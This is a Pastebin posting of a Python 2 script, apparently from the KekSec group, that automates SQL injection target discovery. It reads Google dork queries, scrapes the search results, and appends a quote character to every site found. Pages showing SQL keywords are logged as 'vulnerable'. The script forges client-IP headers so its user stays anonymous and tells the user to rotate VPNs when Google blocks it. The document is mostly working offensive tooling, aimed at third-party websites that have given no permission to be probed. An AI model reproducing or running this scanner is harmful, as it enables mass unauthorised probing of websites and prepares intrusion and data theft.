KekSec

SQLi Dork Scanner - Coded by Freak/SynthMesc

Dec 25th, 2016
1,965
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.67 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Basic SQLi auto dorker and checker
  3. #coded by Freak/SynthMesc
  4. #Version 1.1.5
  5. import urllib2,urllib,sys,re,random,string,time,threading
  6. try:
  7.     dorklist=sys.argv[1]
  8. except:
  9.     print "Usage: "+sys.argv[0]+" [DORK LIST]" #Simple usage for the skids out ther ^_^
  10.     exit(1)
  11. def randomIP():
  12.     return '.'.join('%s'%random.randint(0, 255) for i in range(4)) #Generate random IP for false headers
  13. def test(target,testchar):
  14.     try:
  15.         opener = urllib2.build_opener()
  16.         opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  17.         opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  18.         opener.addheaders = [('REMOTE-ADDR',randomIP())]
  19.         opener.addheaders = [('VIA',randomIP())]
  20.         opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  21.         keywords=["ABSOLUTE", "ACTION", "ADD", "ALL", "ALLOCATE", "ALTER", "AND", "ANY", "ARE", "AS", "ASC", "ASSERTION", "AT", "AUTHORIZATION", "AVG", "BEGIN", "BETWEEN", "BIT", "BIT_LENGTH", "BOTH", "BY", "CALL", "CASCADE", "CASCADED", "CASE", "CAST", "CATALOG", "CHAR", "CHAR_LENGTH", "CHARACTER", "CHARACTER_LENGTH", "CHECK", "CLOSE", "COALESCE", "COLLATE", "COLLATION", "COLUMN", "COMMIT", "CONDITION", "CONNECT", "CONNECTION", "CONSTRAINT", "CONSTRAINTS", "CONTAINS", "CONTINUE", "CONVERT", "CORRESPONDING", "COUNT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_PATH", "CURRENT_TIME", "CURRENT_TIMESTAMP", "CURRENT_USER", "CURSOR", "DATE", "DAY", "DEALLOCATE", "DEC", "DECIMAL", "DECLARE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DESCRIBE", "DESCRIPTOR", "DETERMINISTIC", "DIAGNOSTICS", "DISCONNECT", "DISTINCT", "DO", "DOMAIN", "DOUBLE", "DROP", "ELSE", "ELSEIF", "END", "ESCAPE", "EXCEPT", "EXCEPTION", "EXEC", "EXECUTE", "EXISTS", "EXIT", "EXTERNAL", "EXTRACT", "FALSE", "FETCH", "FIRST", "FLOAT", "FOR", "FOREIGN", "FOUND", "FROM", "FULL", "FUNCTION", "GET", "GLOBAL", "GO", "GOTO", "GRANT", "GROUP", "HANDLER", "HAVING", "HOUR", "IDENTITY", "IF", "IMMEDIATE", "IN", "INDICATOR", "INITIALLY", "INNER", "INOUT", "INPUT", "INSENSITIVE", "INSERT", "INT", "INTEGER", "INTERSECT", "INTERVAL", "INTO", "IS", "ISOLATION", "JOIN", "KEY", "LANGUAGE", "LAST", "LEADING", "LEAVE", "LEFT", "LEVEL", "LIKE", "LOCAL", "LOOP", "LOWER", "MATCH", "MAX", "MIN", "MINUTE", "MODULE", "MONTH", "NAMES", "NATIONAL", "NATURAL", "NCHAR", "NEXT", "NO", "NOT", "NULL", "NULLIF", "NUMERIC", "OCTET_LENGTH", "OF", "ON", "ONLY", "OPEN", "OPTION", "OR", "ORDER", "OUT", "OUTER", "OUTPUT", "OVERLAPS", "PAD", "PARAMETER", "PARTIAL", "PATH", "POSITION", "PRECISION", "PREPARE", "PRESERVE", "PRIMARY", "PRIOR", "PRIVILEGES", "PROCEDURE", "READ", "REAL", "REFERENCES", "RELATIVE", "REPEAT", "RESIGNAL", "RESTRICT", "RETURN", "RETURNS", "REVOKE", "RIGHT", "ROLLBACK", "ROUTINE", "ROWS", "SCHEMA", "SCROLL", "SECOND", "SECTION", "SELECT", "SESSION", "SESSION_USER", "SET", "SIGNAL", "SIZE", "SMALLINT", "SOME", "SPACE", "SPECIFIC", "SQL", "SQLCODE", "SQLERROR", "SQLEXCEPTION", "SQLSTATE", "SQLWARNING", "SUBSTRING", "SUM", "SYSTEM_USER", "TABLE", "TEMPORARY", "THEN", "TIME", "TIMESTAMP", "TIMEZONE_HOUR", "TIMEZONE_MINUTE", "TO", "TRAILING", "TRANSACTION", "TRANSLATE", "TRANSLATION", "TRIM", "TRUE", "UNDO", "UNION", "UNIQUE", "UNKNOWN", "UNTIL", "UPDATE", "UPPER", "USAGE", "USER", "USING", "VALUE", "VALUES", "VARCHAR", "VARYING", "VIEW", "WHEN", "WHENEVER", "WHERE", "WHILE", "WITH", "WORK", "WRITE", "YEAR", "ZONE", "", "# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)", "ADD", "ALL", "ALTER", "ANALYZE", "AND", "ASASC", "ASENSITIVE", "BEFORE", "BETWEEN", "BIGINT", "BINARYBLOB", "BOTH", "BY", "CALL", "CASCADE", "CASECHANGE", "CAST", "CHAR", "CHARACTER", "CHECK", "COLLATE", "COLUMN", "CONCAT", "CONDITIONCONSTRAINT", "CONTINUE", "CONVERT", "CREATE", "CROSS", "CURRENT_DATE", "CURRENT_TIMECURRENT_TIMESTAMP", "CURRENT_USER", "CURSOR", "DATABASE", "DATABASES", "DAY_HOUR", "DAY_MICROSECONDDAY_MINUTE", "DAY_SECOND", "DEC", "DECIMAL", "DECLARE", "DEFAULTDELAYED", "DELETE", "DESC", "DESCRIBE", "DETERMINISTIC", "DISTINCTDISTINCTROW", "DIV", "DOUBLE", "DROP", "DUAL", "EACH", "ELSEELSEIF", "ENCLOSED", "ESCAPED", "EXISTS", "EXIT", "EXPLAIN", "FALSEFETCH", "FLOAT", "FLOAT4", "FLOAT8", "FOR", "FORCE", "FOREIGNFROM", "FULLTEXT", "GRANT", "GROUP", "HAVING", "HIGH_PRIORITYHOUR_MICROSECOND", "HOUR_MINUTE", "HOUR_SECOND", "IF", "IFNULL", "IGNORE", "ININDEX", "INFILE", "INNER", "INOUT", "INSENSITIVE", "INSERT", "INTINT1", "INT2", "INT3", "INT4", "INT8", "INTEGER", "INTERVALINTO", "IS", "ISNULL", "ITERATE", "JOIN", "KEY", "KEYS", "KILLLEADING", "LEAVE", "LEFT", "LIKE", "LIMIT", "LINESLOAD", "LOCALTIME", "LOCALTIMESTAMP", "LOCK", "LONG", "LONGBLOBLONGTEXT", "LOOP", "LOW_PRIORITY", "MATCH", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXTMIDDLEINT", "MINUTE_MICROSECOND", "MINUTE_SECOND", "MOD", "MODIFIES", "NATURAL", "NOTNO_WRITE_TO_BINLOG", "NULL", "NUMERIC", "ON", "OPTIMIZE", "OPTION", "OPTIONALLYOR", "ORDER", "OUT", "OUTER", "OUTFILE", "PRECISIONPRIMARY", "PROCEDURE", "PURGE", "READ", "READS", "REALREFERENCES", "REGEXP", "RELEASE", "RENAME", "REPEAT", "REPLACE", "REQUIRERESTRICT", "RETURN", "REVOKE", "RIGHT", "RLIKE", "SCHEMA", "SCHEMASSECOND_MICROSECOND", "SELECT", "SENSITIVE", "SEPARATOR", "SET", "SHOW", "SMALLINTSONAME", "SPATIAL", "SPECIFIC", "SQL", "SQLEXCEPTION", "SQLSTATESQLWARNING", "SQL_BIG_RESULT", "SQL_CALC_FOUND_ROWS", "SQL_SMALL_RESULT", "SSL", "STARTINGSTRAIGHT_JOIN", "TABLE", "TERMINATED", "THEN", "TINYBLOB", "TINYINT", "TINYTEXTTO", "TRAILING", "TRIGGER", "TRUE", "UNDO", "UNION", "UNIQUEUNLOCK", "UNSIGNED", "UPDATE", "USAGE", "USE", "USING", "UTC_DATEUTC_TIME", "UTC_TIMESTAMP", "VALUES", "VARBINARY", "VARCHAR", "VARCHARACTERVARYING", "VERSION", "WHEN", "WHERE", "WHILE", "WITH", "WRITEXOR", "YEAR_MONTH", "ZEROFILL"]
  22.         print "[+] Trying "+target+testchar
  23.         try:
  24.             resp=opener.open(target+testchar,timeout=5)
  25.         except Exception, e:
  26.             print "[-] "+str(e)
  27.             return
  28.         for keyword in keywords:
  29.             try:
  30.                 for x in resp.read().split(" "):
  31.                     if keyword in x:
  32.                         print "[+] Found keyword '"+keyword+"' at "+target+testchar
  33.                         f=open("SQLi_Vulnerable.txt","a")
  34.                         f.write(target+testchar+"\r\n")
  35.                         f.close()
  36.                         break
  37.             except urllib2.HTTPError as e:
  38.                 print "[-] "+str(e)
  39.                 pass
  40.     except urllib2.URLError as e:
  41.         print "[-] "+str(e)
  42.         pass
  43. def spyder(dork,page):
  44.     opener = urllib2.build_opener()
  45.     opener.addheaders = [('User-agent','Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  46.     opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  47.     opener.addheaders = [('REMOTE-ADDR',randomIP())]
  48.     opener.addheaders = [('VIA',randomIP())]
  49.     opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  50.     opener.addheaders = [('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]
  51.     opener.addheaders = [('Accept-Language','en-US,en;q=0.5')]
  52.     opener.addheaders = [('Accept-Encoding','gzip, deflate')]
  53.     opener.addheaders = [('Referer',dork)]
  54.     try:
  55.         searchresults=opener.open(dork,timeout=5).read()
  56.     except Exception, e:
  57.         print "[-] "+str(e)
  58.         print "[-] Bot has been blocked from google!!! Change VPN server or proxy! Press enter to continue"
  59.         raw_input()
  60.         spyder(dork, page)
  61.     try:
  62.         searchresults
  63.     except NameError:
  64. #       print "[-] Variable undefined, re-searching"
  65.         try:
  66.             searchresults=opener.open(dork,timeout=5).read()
  67.         except:
  68.             try:
  69.                 searchresults=opener.open(dork,timeout=5).read()
  70.             except:
  71.                 print "[-] Bot has been blocked from google!!! Change VPN server or proxy! Press enter to continue"
  72.                 raw_input()
  73.                 spyder(dork, page)
  74.     else:
  75.         pass
  76. #       print "[+] Variable defined, continuing search"
  77.  
  78.     for i in re.findall('''href=["'](.[^"']+)["']''',searchresults, re.I):
  79.         i=i.replace("amp;",'')
  80.         if i.endswith("start="+str(page)+"0&sa=N") and i.startswith("/search"):
  81.             dorkurl="https://encrypted.google.com"+i
  82.             print "[+] Searching next page "+dorkurl
  83.             spyder(dorkurl,page)
  84.             page+=1
  85.         i=urllib2.unquote(i).decode('utf8')
  86.         try:
  87.             i=i.split("?q=")[1]
  88.             i=i.split("&sa=")[0]
  89.             if i.startswith("http"):
  90.                     if i.startswith("http://accounts.google.com"):
  91.                         continue
  92.                     elif i.startswith("http://www.google.com"):
  93.                         continue
  94.                     elif i.startswith("http://encrypted.google.com"):
  95.                         continue
  96.                     elif i.startswith("http://webcache.googleusercontent.com"):
  97.                         continue
  98.                     elif i!=dork.decode('utf8'):
  99.                         threading.Thread(target=test, args=(i,"'",)).start()
  100.         except:
  101.             continue
  102. f=open(dorklist,"r")
  103. for dork in f.read().split("\n"):
  104.     print "[+] Searching for dork: '"+dork+"'"
  105.     spyder('https://encrypted.google.com/search?hl=en&q='+urllib.quote_plus(dork),1)
  106. f.close()
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment